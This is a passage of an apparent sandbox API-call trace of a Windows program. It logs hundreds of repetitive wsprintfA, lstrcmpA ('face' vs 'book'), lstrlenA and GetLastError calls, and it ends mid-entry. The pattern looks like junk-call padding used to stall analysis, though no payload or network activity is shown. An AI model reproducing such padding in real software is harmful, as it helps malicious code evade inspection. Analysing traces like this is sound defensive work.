[0030.279] GetLastError () returned 0x57 [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="AE1P") returned 4 [0030.279] SetLastError (dwErrCode=0x57) [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="AE2P") returned 4 [0030.279] SetLastError (dwErrCode=0x57) [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] GetCurrentProcess () returned 0xffffffff [0030.279] GetLastError () returned 0x57 [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="B13P") returned 4 [0030.279] SetLastError (dwErrCode=0x57) [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="B14P") returned 4 [0030.279] SetLastError (dwErrCode=0x57) [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] lstrlenA (lpString="just string") returned 11 [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] GetCurrentProcess () returned 0xffffffff [0030.279] GetLastError () returned 0x57 [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="BEFP") returned 4 [0030.279] SetLastError (dwErrCode=0x57) [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="BF0P") returned 4 [0030.279] SetLastError (dwErrCode=0x57) [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] GetLastError () returned 0x57 [0030.279] GetLastError () returned 0x57 [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C0EP") returned 4 [0030.279] SetLastError (dwErrCode=0x57) [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] GetCurrentProcess () returned 0xffffffff [0030.279] GetLastError () returned 0x57 [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C49P") returned 4 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C4AP") returned 4 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.280] GetLastError () returned 0x57 [0030.280] GetLastError () returned 0x57 [0030.280] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] GetCurrentProcess () returned 0xffffffff [0030.280] GetLastError () returned 0x57 [0030.280] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C52P") returned 4 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C53P") returned 4 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C54P") returned 4 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.280] GetLastError () returned 0x57 [0030.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.280] GetLastError () returned 0x57 [0030.280] GetLastError () returned 0x57 [0030.280] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] GetCurrentProcess () returned 0xffffffff [0030.280] GetLastError () returned 0x57 [0030.280] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C8EP") returned 4 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C8FP") returned 4 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="C90P") returned 4 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.280] GetLastError () returned 0x57 [0030.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.280] GetLastError () returned 0x57 [0030.280] GetLastError () returned 0x57 [0030.280] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.280] SetLastError (dwErrCode=0x57) [0030.280] GetCurrentProcess () returned 0xffffffff [0030.280] GetLastError () returned 0x57 [0030.280] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D06P") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D07P") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D08P") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.281] GetLastError () returned 0x57 [0030.281] GetLastError () returned 0x57 [0030.281] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] GetCurrentProcess () returned 0xffffffff [0030.281] GetLastError () returned 0x57 [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D38P") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D39P") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D3AP") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.281] GetLastError () returned 0x57 [0030.281] GetLastError () returned 0x57 [0030.281] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] GetCurrentProcess () returned 0xffffffff [0030.281] GetLastError () returned 0x57 [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D7EP") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D7FP") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="D80P") returned 4 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.281] GetLastError () returned 0x57 [0030.281] GetLastError () returned 0x57 [0030.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.281] GetLastError () returned 0x57 [0030.281] GetLastError () returned 0x57 [0030.281] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.281] SetLastError (dwErrCode=0x57) [0030.281] GetCurrentProcess () returned 0xffffffff [0030.281] GetLastError () returned 0x57 [0030.281] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="DBAP") returned 4 [0030.282] SetLastError (dwErrCode=0x57) [0030.282] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="DBBP") returned 4 [0030.282] SetLastError (dwErrCode=0x57) [0030.282] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="DBCP") returned 4 [0030.282] SetLastError (dwErrCode=0x57) [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] GetLastError () returned 0x57 [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] GetLastError () returned 0x57 [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] GetLastError () returned 0x57 [0030.282] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="EDEP") returned 4 [0030.282] SetLastError (dwErrCode=0x57) [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] GetLastError () returned 0x57 [0030.282] GetLastError () returned 0x57 [0030.282] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.282] SetLastError (dwErrCode=0x57) [0030.282] GetCurrentProcess () returned 0xffffffff [0030.282] GetLastError () returned 0x57 [0030.282] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="F22P") returned 4 [0030.282] SetLastError (dwErrCode=0x57) [0030.282] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="F23P") returned 4 [0030.282] SetLastError (dwErrCode=0x57) [0030.282] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="F24P") returned 4 [0030.282] SetLastError (dwErrCode=0x57) [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] lstrlenA (lpString="just string") returned 11 [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.282] GetLastError () returned 0x57 [0030.282] GetLastError () returned 0x57 [0030.282] GetLastError () returned 0x57 [0030.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.283] GetLastError () returned 0x57 [0030.283] GetLastError () returned 0x57 [0030.283] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1014P") returned 5 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.283] GetLastError () returned 0x57 [0030.283] GetCurrentProcess () returned 0xffffffff [0030.283] GetLastError () returned 0x57 [0030.283] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1031P") returned 5 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1032P") returned 5 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.283] GetLastError () returned 0x57 [0030.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.283] GetLastError () returned 0x57 [0030.283] GetLastError () returned 0x57 [0030.283] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] GetCurrentProcess () returned 0xffffffff [0030.283] GetLastError () returned 0x57 [0030.283] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="106CP") returned 5 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="106DP") returned 5 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="106EP") returned 5 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.283] GetLastError () returned 0x57 [0030.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.283] GetLastError () returned 0x57 [0030.283] GetLastError () returned 0x57 [0030.283] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="10AAP") returned 5 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.283] GetLastError () returned 0x57 [0030.283] GetLastError () returned 0x57 [0030.283] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.283] SetLastError (dwErrCode=0x57) [0030.283] GetCurrentProcess () returned 0xffffffff [0030.283] GetLastError () returned 0x57 [0030.283] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="10D0P") returned 5 [0030.283] SetLastError (dwErrCode=0x57) [0030.284] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="10D1P") returned 5 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="10D2P") returned 5 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.284] GetLastError () returned 0x57 [0030.284] GetLastError () returned 0x57 [0030.284] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] GetCurrentProcess () returned 0xffffffff [0030.284] GetLastError () returned 0x57 [0030.284] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="10EEP") returned 5 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="10EFP") returned 5 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="10F0P") returned 5 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.284] GetLastError () returned 0x57 [0030.284] GetCurrentProcess () returned 0xffffffff [0030.284] GetLastError () returned 0x57 [0030.284] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="112BP") returned 5 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="112CP") returned 5 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.284] GetLastError () returned 0x57 [0030.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.284] GetLastError () returned 0x57 [0030.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.284] GetLastError () returned 0x57 [0030.284] lstrlenA (lpString="just string") returned 11 [0030.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.284] GetLastError () returned 0x57 [0030.284] lstrlenA (lpString="just string") returned 11 [0030.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.284] GetLastError () returned 0x57 [0030.284] GetLastError () returned 0x57 [0030.284] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.284] SetLastError (dwErrCode=0x57) [0030.284] GetCurrentProcess () returned 0xffffffff [0030.284] GetLastError () returned 0x57 [0030.284] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="11D4P") returned 5 [0030.284] SetLastError (dwErrCode=0x57) [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="11D5P") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="11D6P") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.285] GetLastError () returned 0x57 [0030.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.285] GetLastError () returned 0x57 [0030.285] GetLastError () returned 0x57 [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="121CP") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.285] GetLastError () returned 0x57 [0030.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.285] GetLastError () returned 0x57 [0030.285] GetLastError () returned 0x57 [0030.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.285] GetLastError () returned 0x57 [0030.285] GetLastError () returned 0x57 [0030.285] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] GetCurrentProcess () returned 0xffffffff [0030.285] GetLastError () returned 0x57 [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="12D8P") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="12D9P") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="12DAP") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.285] GetLastError () returned 0x57 [0030.285] GetLastError () returned 0x57 [0030.285] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] GetCurrentProcess () returned 0xffffffff [0030.285] GetLastError () returned 0x57 [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="12E2P") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="12E3P") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.285] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="12E4P") returned 5 [0030.285] SetLastError (dwErrCode=0x57) [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] GetCurrentProcess () returned 0xffffffff [0030.286] GetLastError () returned 0x57 [0030.286] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1347P") returned 5 [0030.286] SetLastError (dwErrCode=0x57) [0030.286] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1348P") returned 5 [0030.286] SetLastError (dwErrCode=0x57) [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] lstrlenA (lpString="just string") returned 11 [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] GetLastError () returned 0x57 [0030.286] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1410P") returned 5 [0030.286] SetLastError (dwErrCode=0x57) [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] GetLastError () returned 0x57 [0030.286] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.286] SetLastError (dwErrCode=0x57) [0030.286] GetCurrentProcess () returned 0xffffffff [0030.286] GetLastError () returned 0x57 [0030.286] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="144AP") returned 5 [0030.286] SetLastError (dwErrCode=0x57) [0030.286] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="144BP") returned 5 [0030.286] SetLastError (dwErrCode=0x57) [0030.286] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="144CP") returned 5 [0030.286] SetLastError (dwErrCode=0x57) [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.286] GetLastError () returned 0x57 [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] GetCurrentProcess () returned 0xffffffff [0030.287] GetLastError () returned 0x57 [0030.287] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1563P") returned 5 [0030.287] SetLastError (dwErrCode=0x57) [0030.287] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1564P") returned 5 [0030.287] SetLastError (dwErrCode=0x57) [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] GetCurrentProcess () returned 0xffffffff [0030.287] GetLastError () returned 0x57 [0030.287] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="15BDP") returned 5 [0030.287] SetLastError (dwErrCode=0x57) [0030.287] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="15BEP") returned 5 [0030.287] SetLastError (dwErrCode=0x57) [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] GetLastError () returned 0x57 [0030.287] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="15FAP") returned 5 [0030.287] SetLastError (dwErrCode=0x57) [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] lstrlenA (lpString="just string") returned 11 [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] GetCurrentProcess () returned 0xffffffff [0030.287] GetLastError () returned 0x57 [0030.287] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1635P") returned 5 [0030.287] SetLastError (dwErrCode=0x57) [0030.287] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1636P") returned 5 [0030.287] SetLastError (dwErrCode=0x57) [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] lstrlenA (lpString="just string") returned 11 [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] lstrlenA (lpString="just string") returned 11 [0030.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.287] GetLastError () returned 0x57 [0030.287] GetLastError () returned 0x57 [0030.287] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.287] SetLastError (dwErrCode=0x57) [0030.288] GetCurrentProcess () returned 0xffffffff [0030.288] GetLastError () returned 0x57 [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="16C0P") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="16C1P") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="16C2P") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.288] GetLastError () returned 0x57 [0030.288] GetLastError () returned 0x57 [0030.288] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] GetCurrentProcess () returned 0xffffffff [0030.288] GetLastError () returned 0x57 [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="16DEP") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="16DFP") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="16E0P") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.288] GetLastError () returned 0x57 [0030.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.288] GetLastError () returned 0x57 [0030.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.288] GetLastError () returned 0x57 [0030.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.288] GetLastError () returned 0x57 [0030.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.288] GetLastError () returned 0x57 [0030.288] GetLastError () returned 0x57 [0030.288] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] GetCurrentProcess () returned 0xffffffff [0030.288] GetLastError () returned 0x57 [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="17D8P") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="17D9P") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.288] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="17DAP") returned 5 [0030.288] SetLastError (dwErrCode=0x57) [0030.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.289] GetLastError () returned 0x57 [0030.289] GetLastError () returned 0x57 [0030.289] lstrlenA (lpString="just string") returned 11 [0030.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.289] GetLastError () returned 0x57 [0030.289] lstrlenA (lpString="just string") returned 11 [0030.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.289] GetLastError () returned 0x57 [0030.289] GetLastError () returned 0x57 [0030.289] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] GetCurrentProcess () returned 0xffffffff [0030.289] GetLastError () returned 0x57 [0030.289] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="186EP") returned 5 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="186FP") returned 5 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1870P") returned 5 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.289] GetLastError () returned 0x57 [0030.289] GetCurrentProcess () returned 0xffffffff [0030.289] GetLastError () returned 0x57 [0030.289] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1879P") returned 5 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="187AP") returned 5 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.289] GetLastError () returned 0x57 [0030.289] GetLastError () returned 0x57 [0030.289] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] GetCurrentProcess () returned 0xffffffff [0030.289] GetLastError () returned 0x57 [0030.289] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="18AAP") returned 5 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="18ABP") returned 5 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="18ACP") returned 5 [0030.289] SetLastError (dwErrCode=0x57) [0030.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.289] GetLastError () returned 0x57 [0030.289] lstrlenA (lpString="just string") returned 11 [0030.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.289] GetLastError () returned 0x57 [0030.289] GetCurrentProcess () returned 0xffffffff [0030.290] GetLastError () returned 0x57 [0030.290] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="18F1P") returned 5 [0030.290] SetLastError (dwErrCode=0x57) [0030.290] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="18F2P") returned 5 [0030.290] SetLastError (dwErrCode=0x57) [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] GetLastError () returned 0x57 [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] GetCurrentProcess () returned 0xffffffff [0030.290] GetLastError () returned 0x57 [0030.290] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="19EBP") returned 5 [0030.290] SetLastError (dwErrCode=0x57) [0030.290] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="19ECP") returned 5 [0030.290] SetLastError (dwErrCode=0x57) [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] GetCurrentProcess () returned 0xffffffff [0030.290] GetLastError () returned 0x57 [0030.290] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1A27P") returned 5 [0030.290] SetLastError (dwErrCode=0x57) [0030.290] wsprintfA 